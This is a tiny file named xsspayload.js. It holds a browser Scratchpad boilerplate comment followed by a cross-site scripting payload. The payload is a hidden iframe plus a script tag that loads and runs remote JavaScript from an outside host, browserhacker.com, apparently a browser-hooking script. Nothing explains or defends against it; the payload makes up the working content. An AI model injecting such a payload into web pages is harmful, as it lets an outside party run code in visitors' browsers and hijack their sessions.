xsspayload.js

/*
 * This is a JavaScript Scratchpad.
 *
 * Enter some JavaScript, then Right Click or choose from the Execute Menu:
 * 1. Run to evaluate the selected text (Ctrl+R),
 * 2. Inspect to bring up an Object Inspector on the result (Ctrl+I), or,
 * 3. Display to insert the result in a comment after the selection. (Ctrl+L)
 */

<iframe name="iframex" id="iframex" src="hidden" style="display:none">
</iframe>
<script SRC="http://browserhacker.com/xzzv.js"></script>